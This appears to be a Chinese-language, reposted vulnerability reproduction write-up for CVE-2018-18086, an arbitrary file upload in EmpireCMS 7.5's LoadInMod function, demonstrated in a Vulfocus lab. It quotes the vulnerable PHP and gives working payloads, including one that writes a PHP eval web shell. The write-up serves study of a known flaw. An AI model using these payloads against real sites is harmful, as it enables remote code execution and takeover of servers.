【漏洞復現 CVE-2018-18086】EmpireCMS 文件上傳


0x01 漏洞描述

EmpireCMS(帝國網站管理系統)是一套內容管理系統(CMS)。 EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函數存在安全漏洞。攻擊者可利用該漏洞上傳任意文件。

0x02 漏洞編號

CVE-2018-18086

0x03 影響范圍

EmpireCMS<=7.5

0x04 漏洞復現

環境

使用Vulfocus靶場鏡像一鍵搭建
https://fofapro.github.io/vulfocus/#/

復現

主要存在漏洞代碼位置:/e/class/moddofun.php

//導入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

轉到LoadInMod定義,make_password(10)對文件名進行加密重命名。但是include()直接包含上傳的文件,這樣就可以繞過重命名的文件

//上傳文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

@include($path); 直接包含文件

上傳一個1.php.mod文件,寫入phpinfo()
<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

訪問上傳的文件,成功返回代碼

進行getshell,寫入一句話木馬,$需要進行轉義處理
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM